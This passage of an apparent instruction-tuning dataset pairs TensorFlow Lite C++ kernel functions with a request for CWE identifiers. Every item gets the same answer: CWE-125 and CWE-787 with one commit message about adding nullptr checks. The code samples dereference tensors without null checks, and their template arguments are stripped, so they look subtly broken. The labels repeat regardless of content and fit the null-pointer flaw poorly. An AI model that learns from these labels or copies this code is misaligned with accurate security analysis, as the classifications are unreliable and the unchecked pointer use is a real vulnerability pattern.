+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: void EvalHybrid(TfLiteContext* context, TfLiteNode* node,\n                TfLiteConvParams* params, OpData* data,\n                const TfLiteTensor* input, const TfLiteTensor* filter,\n                const TfLiteTensor* bias, TfLiteTensor* im2col,\n                TfLiteTensor* accum_scratch, TfLiteTensor* output) {\n  float output_activation_min, output_activation_max;\n  CalculateActivationRange(params->activation, &output_activation_min,\n                           &output_activation_max);\n\n  const int input_size = NumElements(input) / SizeOfDimension(input, 0);\n  const int batch_size = SizeOfDimension(input, 0);\n\n  const float* input_ptr = GetTensorData(input);\n  int8_t* quantized_input_ptr_batch = GetTensorData(\n      GetTemporary(context, node, data->input_quantized_index));\n  float* scaling_factors_ptr = GetTensorData(\n      GetTemporary(context, node, data->scaling_factors_index));\n\n  // Per-batch input quantization for higher accuracy.\n  {\n    ruy::profiler::ScopeLabel label(\"ConvHybridQuantizeInputs\");\n    for (int b = 0; b < batch_size; ++b) {\n      float unused_min, unused_max;\n      const int offset = b * input_size;\n      tensor_utils::SymmetricQuantizeFloats(\n          input_ptr + offset, input_size, quantized_input_ptr_batch + offset,\n          &unused_min, &unused_max, &scaling_factors_ptr[b]);\n      scaling_factors_ptr[b] *= filter->params.scale;\n    }\n  }\n\n  switch (kernel_type) {\n    case kReference:\n    case kGenericOptimized:\n    case kMultithreadOptimized:\n    case kCblasOptimized: {\n      // There is only one implementation for hybrid kernel.\n      ConvParams op_params;\n      op_params.padding_type = PaddingType::kSame;\n      op_params.padding_values.width = data->padding.width;\n      op_params.padding_values.height = data->padding.height;\n      op_params.stride_width = params->stride_width;\n      op_params.stride_height = params->stride_height;\n      op_params.dilation_width_factor = 1;\n      op_params.dilation_height_factor = 1;\n      op_params.float_activation_min = output_activation_min;\n      op_params.float_activation_max = output_activation_max;\n      optimized_ops::HybridConv(\n          op_params, scaling_factors_ptr, GetTensorShape(input),\n          quantized_input_ptr_batch, GetTensorShape(filter),\n          GetTensorData(filter), GetTensorShape(bias),\n          GetTensorData(bias), GetTensorShape(accum_scratch),\n          GetTensorData(accum_scratch), GetTensorShape(output),\n          GetTensorData(output), GetTensorShape(im2col),\n          GetTensorData(im2col),\n          CpuBackendContext::GetFromContext(context));\n      break;\n    }\n  }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125', 'CWE-787'], 'message': '[tflite]: Insert `nullptr` checks when obtaining tensors.\n\nAs part of ongoing refactoring, `tflite::GetInput`, `tflite::GetOutput`, `tflite::GetTemporary` and `tflite::GetIntermediates` will return `nullptr` in some cases. Hence, we insert the `nullptr` checks on all usages.\n\nWe also insert `nullptr` checks on usages of `tflite::GetVariableInput` and `tflite::GetOptionalInputTensor` but only in the cases where there is no obvious check that `nullptr` is acceptable (that is, we only insert the check for the output of these two functions if the tensor is accessed as if it is always not `nullptr`).\n\nPiperOrigin-RevId: 332521299\nChange-Id: I29af455bcb48d0b92e58132d951a3badbd772d56'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {\n  const TfLiteTensor* input = GetInput(context, node, 0);\n\n  switch (input->type) {\n    case kTfLiteFloat32:\n      return EvalImpl(context, node);\n    case kTfLiteUInt8:\n      return EvalImpl(context, node);\n    case kTfLiteInt8:\n      return EvalImpl(context, node);\n    case kTfLiteInt16:\n      return EvalImpl(context, node);\n    default:\n      TF_LITE_KERNEL_LOG(context, \"Type %s not currently supported.\",\n                         TfLiteTypeGetName(input->type));\n      return kTfLiteError;\n  }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125', 'CWE-787'], 'message': '[tflite]: Insert `nullptr` checks when obtaining tensors.\n\nAs part of ongoing refactoring, `tflite::GetInput`, `tflite::GetOutput`, `tflite::GetTemporary` and `tflite::GetIntermediates` will return `nullptr` in some cases. Hence, we insert the `nullptr` checks on all usages.\n\nWe also insert `nullptr` checks on usages of `tflite::GetVariableInput` and `tflite::GetOptionalInputTensor` but only in the cases where there is no obvious check that `nullptr` is acceptable (that is, we only insert the check for the output of these two functions if the tensor is accessed as if it is always not `nullptr`).\n\nPiperOrigin-RevId: 332521299\nChange-Id: I29af455bcb48d0b92e58132d951a3badbd772d56'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {\n  const TfLiteTensor* data = GetInput(context, node, kInputDataTensor);\n  const TfLiteTensor* segment_ids =\n      GetInput(context, node, kInputSegmentIdsTensor);\n  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);\n\n  if (IsDynamicTensor(output)) {\n    TF_LITE_ENSURE_OK(context,\n                      ResizeOutputTensor(context, data, segment_ids, output));\n  }\n\n#define TF_LITE_SEGMENT_SUM(dtype)                                      \\\n  reference_ops::SegmentSum(                                     \\\n      GetTensorShape(data), GetTensorData(data),                 \\\n      GetTensorShape(segment_ids), GetTensorData(segment_ids), \\\n      GetTensorShape(output), GetTensorData(output));\n  switch (data->type) {\n    case kTfLiteInt32:\n      TF_LITE_SEGMENT_SUM(int32_t);\n      break;\n    case kTfLiteFloat32:\n      TF_LITE_SEGMENT_SUM(float);\n      break;\n    default:\n      context->ReportError(context,\n                           \"Currently SegmentSum doesn't support type: %s\",\n                           TfLiteTypeGetName(data->type));\n      return kTfLiteError;\n  }\n#undef TF_LITE_SEGMENT_SUM\n  return kTfLiteOk;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125', 'CWE-787'], 'message': '[tflite]: Insert `nullptr` checks when obtaining tensors.\n\nAs part of ongoing refactoring, `tflite::GetInput`, `tflite::GetOutput`, `tflite::GetTemporary` and `tflite::GetIntermediates` will return `nullptr` in some cases. Hence, we insert the `nullptr` checks on all usages.\n\nWe also insert `nullptr` checks on usages of `tflite::GetVariableInput` and `tflite::GetOptionalInputTensor` but only in the cases where there is no obvious check that `nullptr` is acceptable (that is, we only insert the check for the output of these two functions if the tensor is accessed as if it is always not `nullptr`).\n\nPiperOrigin-RevId: 332521299\nChange-Id: I29af455bcb48d0b92e58132d951a3badbd772d56'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {\n  auto* params =\n      reinterpret_cast(node->builtin_data);\n  OpData* data = reinterpret_cast(node->user_data);\n\n  // TODO(ahentz): use could use GetOptionalInputTensor() here, but we need to\n  // decide whether we are OK with optional tensors being completely absent, as\n  // opposed to having -1 as their index.\n  bool hasBias = NumInputs(node) == 3;\n\n  TF_LITE_ENSURE(context, hasBias || NumInputs(node) == 2);\n  const TfLiteTensor* input = GetInput(context, node, kInputTensor);\n  const TfLiteTensor* filter = GetInput(context, node, kFilterTensor);\n  const TfLiteTensor* bias = nullptr;\n\n  TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);\n  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);\n\n  TF_LITE_ENSURE_EQ(context, NumDimensions(input), 4);\n  TF_LITE_ENSURE_EQ(context, NumDimensions(filter), 4);\n\n  const TfLiteType data_type = input->type;\n\n  const TfLiteType filter_type = filter->type;\n  const bool is_hybrid =\n      data_type == kTfLiteFloat32 && filter_type == kTfLiteInt8;\n  TF_LITE_ENSURE(context,\n                 data_type == kTfLiteFloat32 || data_type == kTfLiteUInt8 ||\n                     data_type == kTfLiteInt8 || data_type == kTfLiteInt16);\n  TF_LITE_ENSURE_TYPES_EQ(context, output->type, data_type);\n  if (!is_hybrid) {\n    TF_LITE_ENSURE(context,\n                   filter->type == data_type || data_type == kTfLiteInt16);\n  }\n\n  // Filter in DepthwiseConv is expected to be [1, H, W, O].\n  TF_LITE_ENSURE_EQ(context, SizeOfDimension(filter, 0), 1);\n\n  if (hasBias) {\n    bias = GetInput(context, node, kBiasTensor);\n    if (data_type == kTfLiteUInt8 || data_type == kTfLiteInt8) {\n      TF_LITE_ENSURE_TYPES_EQ(context, bias->type, kTfLiteInt32);\n      TF_LITE_ENSURE_EQ(context, bias->params.zero_point, 0);\n    } else if (data_type == kTfLiteInt16) {\n      TF_LITE_ENSURE_TYPES_EQ(context, bias->type, kTfLiteInt64);\n      TF_LITE_ENSURE_EQ(context, bias->params.zero_point, 0);\n      TF_LITE_ENSURE_EQ(context, input->params.zero_point, 0);\n      TF_LITE_ENSURE_EQ(context, output->params.zero_point, 0);\n    } else {\n      TF_LITE_ENSURE_TYPES_EQ(context, bias->type, data_type);\n    }\n    TF_LITE_ENSURE_EQ(context, NumDimensions(bias), 1);\n    TF_LITE_ENSURE_EQ(context, SizeOfDimension(filter, 3),\n                      SizeOfDimension(bias, 0));\n  }\n\n  int channels_out = SizeOfDimension(filter, 3);\n  int width = SizeOfDimension(input, 2);\n  int height = SizeOfDimension(input, 1);\n  int filter_width = SizeOfDimension(filter, 2);\n  int filter_height = SizeOfDimension(filter, 1);\n  int batches = SizeOfDimension(input, 0);\n\n  // Matching GetWindowedOutputSize in TensorFlow.\n  auto padding = params->padding;\n  int out_width, out_height;\n\n  data->padding = ComputePaddingHeightWidth(\n      params->stride_height, params->stride_width,\n      params->dilation_height_factor, params->dilation_width_factor, height,\n      width, filter_height, filter_width, padding, &out_height, &out_width);\n\n  // Note that quantized inference requires that all tensors have their\n  // parameters set. This is usually done during quantized training or\n  // calibration.\n  if (data_type != kTfLiteFloat32) {\n    TF_LITE_ENSURE_EQ(context, filter->quantization.type,\n                      kTfLiteAffineQuantization);\n    const auto* affine_quantization =\n        reinterpret_cast(\n            filter->quantization.params);\n    TF_LITE_ENSURE(context, affine_quantization);\n    TF_LITE_ENSURE(context, affine_quantization->scale);\n    TF_LITE_ENSURE(context, (affine_quantization->scale->size == 1 ||\n                             affine_quantization->scale->size == channels_out));\n\n    data->per_channel_output_multiplier.resize(channels_out);\n    data->per_channel_output_shift.resize(channels_out);\n    TF_LITE_ENSURE_STATUS(tflite::PopulateConvolutionQuantizationParams(\n        context, input, filter, bias, output, params->activation,\n        &data->output_multiplier, &data->output_shift,\n        &data->output_activation_min, &data->output_activation_max,\n        data->per_channel_output_multiplier.data(),\n        data->per_channel_output_shift.data(), channels_out));\n  }\n\n  if (is_hybrid) {\n    const auto* affine_quantization =\n        reinterpret_cast(\n            filter->quantization.params);\n    TF_LITE_ENSURE(context, affine_quantization);\n    TF_LITE_ENSURE(context, affine_quantization->scale);\n    TF_LITE_ENSURE_EQ(\n        context, affine_quantization->scale->size,\n        filter->dims->data[affine_quantization->quantized_dimension]);\n\n    int temporaries_count = 0;\n    data->input_quantized_index = temporaries_count;\n    if (data->input_quantized_id == kTensorNotAllocated) {\n      TF_LITE_ENSURE_OK(\n          context, context->AddTensors(context, 1, &data->input_quantized_id));\n    }\n    ++temporaries_count;\n    data->scaling_factors_index = temporaries_count;\n    if (data->scaling_factors_id == kTensorNotAllocated) {\n      TF_LITE_ENSURE_OK(\n          context, context->AddTensors(context, 1, &data->scaling_factors_id));\n    }\n    ++temporaries_count;\n    data->input_offset_index = temporaries_count;\n    if (data->input_offset_id == kTensorNotAllocated) {\n      TF_LITE_ENSURE_OK(\n          context, context->AddTensors(context, 1, &data->input_offset_id));\n    }\n    ++temporaries_count;\n\n    TfLiteIntArrayFree(node->temporaries);\n    node->temporaries = TfLiteIntArrayCreate(temporaries_count);\n\n    node->temporaries->data[data->input_quantized_index] =\n        data->input_quantized_id;\n    TfLiteTensor* input_quantized =\n        GetTemporary(context, node, data->input_quantized_index);\n    input_quantized->type = kTfLiteInt8;\n    input_quantized->allocation_type = kTfLiteArenaRw;\n    if (!TfLiteIntArrayEqual(input_quantized->dims, input->dims)) {\n      TfLiteIntArray* input_quantized_size = TfLiteIntArrayCopy(input->dims);\n      TF_LITE_ENSURE_OK(context, context->ResizeTensor(context, input_quantized,\n                                                       input_quantized_size));\n    }\n    node->temporaries->data[data->scaling_factors_index] =\n        data->scaling_factors_id;\n    TfLiteTensor* scaling_factors =\n        GetTemporary(context, node, data->scaling_factors_index);\n    scaling_factors->type = kTfLiteFloat32;\n    scaling_factors->allocation_type = kTfLiteArenaRw;\n    const int batch_size = SizeOfDimension(input, 0);\n    int scaling_dims[1] = {batch_size};\n    if (!TfLiteIntArrayEqualsArray(scaling_factors->dims, 1, scaling_dims)) {\n      TfLiteIntArray* scaling_factors_size = TfLiteIntArrayCreate(1);\n      scaling_factors_size->data[0] = batch_size;\n      TF_LITE_ENSURE_OK(context, context->ResizeTensor(context, scaling_factors,\n                                                       scaling_factors_size));\n    }\n    node->temporaries->data[data->input_offset_index] = data->input_offset_id;\n    TfLiteTensor* input_offsets =\n        GetTemporary(context, node, data->input_offset_index);\n    input_offsets->type = kTfLiteInt32;\n    input_offsets->allocation_type = kTfLiteArenaRw;\n    if (!TfLiteIntArrayEqualsArray(input_offsets->dims, 1, scaling_dims)) {\n      TfLiteIntArray* input_offsets_size = TfLiteIntArrayCreate(1);\n      input_offsets_size->data[0] = batch_size;\n      TF_LITE_ENSURE_OK(context, context->ResizeTensor(context, input_offsets,\n                                                       input_offsets_size));\n    }\n  }\n\n  TfLiteIntArray* outputSize = TfLiteIntArrayCreate(4);\n  outputSize->data[0] = batches;\n  outputSize->data[1] = out_height;\n  outputSize->data[2] = out_width;\n  outputSize->data[3] = channels_out;\n  return context->ResizeTensor(context, output, outputSize);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125', 'CWE-787'], 'message': '[tflite]: Insert `nullptr` checks when obtaining tensors.\n\nAs part of ongoing refactoring, `tflite::GetInput`, `tflite::GetOutput`, `tflite::GetTemporary` and `tflite::GetIntermediates` will return `nullptr` in some cases. Hence, we insert the `nullptr` checks on all usages.\n\nWe also insert `nullptr` checks on usages of `tflite::GetVariableInput` and `tflite::GetOptionalInputTensor` but only in the cases where there is no obvious check that `nullptr` is acceptable (that is, we only insert the check for the output of these two functions if the tensor is accessed as if it is always not `nullptr`).\n\nPiperOrigin-RevId: 332521299\nChange-Id: I29af455bcb48d0b92e58132d951a3badbd772d56'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: TfLiteStatus GenericPrepare(TfLiteContext* context, TfLiteNode* node) {\n  TF_LITE_ENSURE_EQ(context, NumInputs(node), 1);\n  TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);\n  const TfLiteTensor* input = GetInput(context, node, 0);\n  TfLiteTensor* output = GetOutput(context, node, 0);\n  TF_LITE_ENSURE_TYPES_EQ(context, input->type, output->type);\n  if (!is_supported_type(input->type)) {\n    TF_LITE_UNSUPPORTED_TYPE(context, input->type, op_name);\n  }\n  return context->ResizeTensor(context, output,\n                               TfLiteIntArrayCopy(input->dims));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125', 'CWE-787'], 'message': '[tflite]: Insert `nullptr` checks when obtaining tensors.\n\nAs part of ongoing refactoring, `tflite::GetInput`, `tflite::GetOutput`, `tflite::GetTemporary` and `tflite::GetIntermediates` will return `nullptr` in some cases. Hence, we insert the `nullptr` checks on all usages.\n\nWe also insert `nullptr` checks on usages of `tflite::GetVariableInput` and `tflite::GetOptionalInputTensor` but only in the cases where there is no obvious check that `nullptr` is acceptable (that is, we only insert the check for the output of these two functions if the tensor is accessed as if it is always not `nullptr`).\n\nPiperOrigin-RevId: 332521299\nChange-Id: I29af455bcb48d0b92e58132d951a3badbd772d56'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: TfLiteStatus TanhEval(TfLiteContext* context, TfLiteNode* node) {\n  OpData* data = reinterpret_cast(node->user_data);\n  const TfLiteTensor* input = GetInput(context, node, 0);\n  TfLiteTensor* output = GetOutput(context, node, 0);\n  switch (input->type) {\n    case kTfLiteFloat32: {\n      if (kernel_type == kReference) {\n        reference_ops::Tanh(GetTensorShape(input), GetTensorData(input),\n                            GetTensorShape(output),\n                            GetTensorData(output));\n      } else {\n        optimized_ops::Tanh(GetTensorShape(input), GetTensorData(input),\n                            GetTensorShape(output),\n                            GetTensorData(output));\n      }\n      return kTfLiteOk;\n    } break;\n    case kTfLiteInt16: {\n      TanhParams params;\n      params.input_left_shift = data->input_left_shift;\n      if (kernel_type == kReference || (data->input_multiplier > 0)) {\n        reference_integer_ops::Tanh(\n            data->input_multiplier, data->input_left_shift,\n            GetTensorShape(input), GetTensorData(input),\n            GetTensorShape(output), GetTensorData(output));\n      } else {\n        optimized_ops::Tanh(\n            params, GetTensorShape(input), GetTensorData(input),\n            GetTensorShape(output), GetTensorData(output));\n      }\n      return kTfLiteOk;\n    } break;\n    case kTfLiteUInt8: {\n      if (kernel_type == kFixedPointOptimized) {\n        TanhParams params;\n        params.input_zero_point = input->params.zero_point;\n        params.input_range_radius = data->input_range_radius;\n        params.input_multiplier = data->input_multiplier;\n        params.input_left_shift = data->input_left_shift;\n        optimized_ops::Tanh16bitPrecision(\n            params, GetTensorShape(input), GetTensorData(input),\n            GetTensorShape(output), GetTensorData(output));\n      } else {\n        EvalUsingLookupTable(data, input, output);\n      }\n      return kTfLiteOk;\n    } break;\n    case kTfLiteInt8: {\n      if (kernel_type == kFixedPointOptimized) {\n        TanhParams params;\n        params.input_zero_point = input->params.zero_point;\n        params.input_range_radius = data->input_range_radius;\n        params.input_multiplier = data->input_multiplier;\n        params.input_left_shift = data->input_left_shift;\n        optimized_ops::Tanh16bitPrecision(\n            params, GetTensorShape(input), GetTensorData(input),\n            GetTensorShape(output), GetTensorData(output));\n      } else {\n        EvalUsingLookupTable(data, input, output);\n      }\n      return kTfLiteOk;\n    } break;\n    default:\n      TF_LITE_KERNEL_LOG(context,\n                         \"Only float32, uint8, int16 and int8 are supported \"\n                         \"currently, got %s.\",\n                         TfLiteTypeGetName(input->type));\n      return kTfLiteError;\n  }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125', 'CWE-787'], 'message': '[tflite]: Insert `nullptr` checks when obtaining tensors.\n\nAs part of ongoing refactoring, `tflite::GetInput`, `tflite::GetOutput`, `tflite::GetTemporary` and `tflite::GetIntermediates` will return `nullptr` in some cases. Hence, we insert the `nullptr` checks on all usages.\n\nWe also insert `nullptr` checks on usages of `tflite::GetVariableInput` and `tflite::GetOptionalInputTensor` but only in the cases where there is no obvious check that `nullptr` is acceptable (that is, we only insert the check for the output of these two functions if the tensor is accessed as if it is always not `nullptr`).\n\nPiperOrigin-RevId: 332521299\nChange-Id: I29af455bcb48d0b92e58132d951a3badbd772d56'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {\n  TF_LITE_ENSURE_EQ(context, NumInputs(node), 2);\n  TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);\n\n  const TfLiteTensor* params = GetInput(context, node, kParams);\n  const TfLiteTensor* indices = GetInput(context, node, kIndices);\n  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);\n\n  switch (params->type) {\n    case kTfLiteFloat32:\n    case kTfLiteUInt8:\n    case kTfLiteInt8:\n    case kTfLiteInt64:\n    case kTfLiteInt32:\n    case kTfLiteString:\n      break;\n    default:\n      context->ReportError(\n          context, \"Params of type '%s' are not supported by gather_nd.\",\n          TfLiteTypeGetName(params->type));\n      return kTfLiteError;\n  }\n  switch (indices->type) {\n    case kTfLiteInt64:\n    case kTfLiteInt32:\n      break;\n    default:\n      context->ReportError(\n          context, \"Indices of type '%s' are not supported by gather_nd.\",\n          TfLiteTypeGetName(indices->type));\n      return kTfLiteError;\n  }\n\n  const int params_rank = NumDimensions(params);\n  const int indices_rank = NumDimensions(indices);\n  const int indices_nd = SizeOfDimension(indices, indices_rank - 1);\n  if (params_rank < 1) {\n    context->ReportError(context, \"Params must be at least a vector.\");\n    return kTfLiteError;\n  }\n  if (indices_rank < 1) {\n    context->ReportError(context, \"Indices must be at least a vector.\");\n    return kTfLiteError;\n  }\n  if (indices_nd > params_rank) {\n    context->ReportError(\n        context, \"Index innermost dimension length must be <= params rank.\");\n    return kTfLiteError;\n  }\n\n  // Assign to output the input type.\n  output->type = params->type;\n\n  // The result shape is\n  // indices.shape[:-1] + params.shape[indices.shape[-1]:]\n  const int output_rank = indices_rank + params_rank - indices_nd - 1;\n  TfLiteIntArray* output_shape = TfLiteIntArrayCreate(output_rank);\n  int output_index = 0;\n  for (int i = 0; i < indices_rank - 1; ++i) {\n    output_shape->data[output_index++] = indices->dims->data[i];\n  }\n  for (int i = indices_nd; i < params_rank; ++i) {\n    output_shape->data[output_index++] = params->dims->data[i];\n  }\n  return context->ResizeTensor(context, output, output_shape);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125', 'CWE-787'], 'message': '[tflite]: Insert `nullptr` checks when obtaining tensors.\n\nAs part of ongoing refactoring, `tflite::GetInput`, `tflite::GetOutput`, `tflite::GetTemporary` and `tflite::GetIntermediates` will return `nullptr` in some cases. Hence, we insert the `nullptr` checks on all usages.\n\nWe also insert `nullptr` checks on usages of `tflite::GetVariableInput` and `tflite::GetOptionalInputTensor` but only in the cases where there is no obvious check that `nullptr` is acceptable (that is, we only insert the check for the output of these two functions if the tensor is accessed as if it is always not `nullptr`).\n\nPiperOrigin-RevId: 332521299\nChange-Id: I29af455bcb48d0b92e58132d951a3badbd772d56'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: TfLiteStatus ResizeOutputTensors(TfLiteContext* context, TfLiteNode* node,\n                                 const TfLiteTensor* axis,\n                                 const TfLiteTensor* input, int num_splits) {\n  int axis_value = GetTensorData(axis)[0];\n  if (axis_value < 0) {\n    axis_value += NumDimensions(input);\n  }\n\n  TF_LITE_ENSURE(context, axis_value >= 0);\n  TF_LITE_ENSURE(context, axis_value < NumDimensions(input));\n\n  const int input_size = SizeOfDimension(input, axis_value);\n  TF_LITE_ENSURE_MSG(context, input_size % num_splits == 0,\n                     \"Not an even split\");\n  const int slice_size = input_size / num_splits;\n\n  for (int i = 0; i < NumOutputs(node); ++i) {\n    TfLiteIntArray* output_dims = TfLiteIntArrayCopy(input->dims);\n    output_dims->data[axis_value] = slice_size;\n    TfLiteTensor* output = GetOutput(context, node, i);\n    TF_LITE_ENSURE_STATUS(context->ResizeTensor(context, output, output_dims));\n  }\n\n  return kTfLiteOk;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125', 'CWE-787'], 'message': '[tflite]: Insert `nullptr` checks when obtaining tensors.\n\nAs part of ongoing refactoring, `tflite::GetInput`, `tflite::GetOutput`, `tflite::GetTemporary` and `tflite::GetIntermediates` will return `nullptr` in some cases. Hence, we insert the `nullptr` checks on all usages.\n\nWe also insert `nullptr` checks on usages of `tflite::GetVariableInput` and `tflite::GetOptionalInputTensor` but only in the cases where there is no obvious check that `nullptr` is acceptable (that is, we only insert the check for the output of these two functions if the tensor is accessed as if it is always not `nullptr`).\n\nPiperOrigin-RevId: 332521299\nChange-Id: I29af455bcb48d0b92e58132d951a3badbd772d56'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: TfLiteStatus L2Eval(TfLiteContext* context, TfLiteNode* node) {\n  auto* params = reinterpret_cast(node->builtin_data);\n  OpData* data = reinterpret_cast(node->user_data);\n\n  TfLiteTensor* output = GetOutput(context, node, 0);\n  const TfLiteTensor* input = GetInput(context, node, 0);\n  switch (input->type) {  // Already know in/out types are same.\n    case kTfLiteFloat32:\n      L2EvalFloat(context, node, params, data, input, output);\n      break;\n    case kTfLiteUInt8:\n    // We don't have a quantized implementation, so just fall through to the\n    // 'default' case.\n    default:\n      context->ReportError(context, \"Type %d not currently supported.\",\n                           input->type);\n      return kTfLiteError;\n  }\n  return kTfLiteOk;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125', 'CWE-787'], 'message': '[tflite]: Insert `nullptr` checks when obtaining tensors.\n\nAs part of ongoing refactoring, `tflite::GetInput`, `tflite::GetOutput`, `tflite::GetTemporary` and `tflite::GetIntermediates` will return `nullptr` in some cases. Hence, we insert the `nullptr` checks on all usages.\n\nWe also insert `nullptr` checks on usages of `tflite::GetVariableInput` and `tflite::GetOptionalInputTensor` but only in the cases where there is no obvious check that `nullptr` is acceptable (that is, we only insert the check for the output of these two functions if the tensor is accessed as if it is always not `nullptr`).\n\nPiperOrigin-RevId: 332521299\nChange-Id: I29af455bcb48d0b92e58132d951a3badbd772d56'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {\n  TfLiteTensor* output_values = GetOutput(context, node, kOutputValues);\n  TfLiteTensor* output_indexes = GetOutput(context, node, kOutputIndexes);\n  if (IsDynamicTensor(output_values)) {\n    TF_LITE_ENSURE_OK(context, ResizeOutput(context, node));\n  }\n  const TfLiteTensor* top_k = GetInput(context, node, kInputTopK);\n  const int32 k = top_k->data.i32[0];\n  // The tensor can have more than 2 dimensions or even be a vector, the code\n  // anyway calls the internal dimension as row;\n  const TfLiteTensor* input = GetInput(context, node, kInputTensor);\n  const int32 row_size = input->dims->data[input->dims->size - 1];\n  int32 num_rows = 1;\n  for (int i = 0; i < input->dims->size - 1; ++i) {\n    num_rows *= input->dims->data[i];\n  }\n  switch (output_values->type) {\n    case kTfLiteFloat32:\n      TopK(row_size, num_rows, GetTensorData(input), k,\n           output_indexes->data.i32, GetTensorData(output_values));\n      break;\n    case kTfLiteUInt8:\n      TopK(row_size, num_rows, input->data.uint8, k, output_indexes->data.i32,\n           output_values->data.uint8);\n      break;\n    case kTfLiteInt8:\n      TopK(row_size, num_rows, input->data.int8, k, output_indexes->data.i32,\n           output_values->data.int8);\n      break;\n    case kTfLiteInt32:\n      TopK(row_size, num_rows, input->data.i32, k, output_indexes->data.i32,\n           output_values->data.i32);\n      break;\n    case kTfLiteInt64:\n      TopK(row_size, num_rows, input->data.i64, k, output_indexes->data.i32,\n           output_values->data.i64);\n      break;\n    default:\n      TF_LITE_KERNEL_LOG(context, \"Type %s is currently not supported by TopK.\",\n                         TfLiteTypeGetName(output_values->type));\n      return kTfLiteError;\n  }\n\n  return kTfLiteOk;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125', 'CWE-787'], 'message': '[tflite]: Insert `nullptr` checks when obtaining tensors.\n\nAs part of ongoing refactoring, `tflite::GetInput`, `tflite::GetOutput`, `tflite::GetTemporary` and `tflite::GetIntermediates` will return `nullptr` in some cases. Hence, we insert the `nullptr` checks on all usages.\n\nWe also insert `nullptr` checks on usages of `tflite::GetVariableInput` and `tflite::GetOptionalInputTensor` but only in the cases where there is no obvious check that `nullptr` is acceptable (that is, we only insert the check for the output of these two functions if the tensor is accessed as if it is always not `nullptr`).\n\nPiperOrigin-RevId: 332521299\nChange-Id: I29af455bcb48d0b92e58132d951a3badbd772d56'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {\n  const TfLiteTensor* output = GetOutput(context, node, kOutputTensor);\n  if (output->type == kTfLiteFloat32) {\n    EvalAddN(context, node);\n  } else if (output->type == kTfLiteInt32) {\n    EvalAddN(context, node);\n  } else {\n    context->ReportError(context,\n                         \"AddN only supports FLOAT32|INT32 now, got %s.\",\n                         TfLiteTypeGetName(output->type));\n    return kTfLiteError;\n  }\n  return kTfLiteOk;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125', 'CWE-787'], 'message': '[tflite]: Insert `nullptr` checks when obtaining tensors.\n\nAs part of ongoing refactoring, `tflite::GetInput`, `tflite::GetOutput`, `tflite::GetTemporary` and `tflite::GetIntermediates` will return `nullptr` in some cases. Hence, we insert the `nullptr` checks on 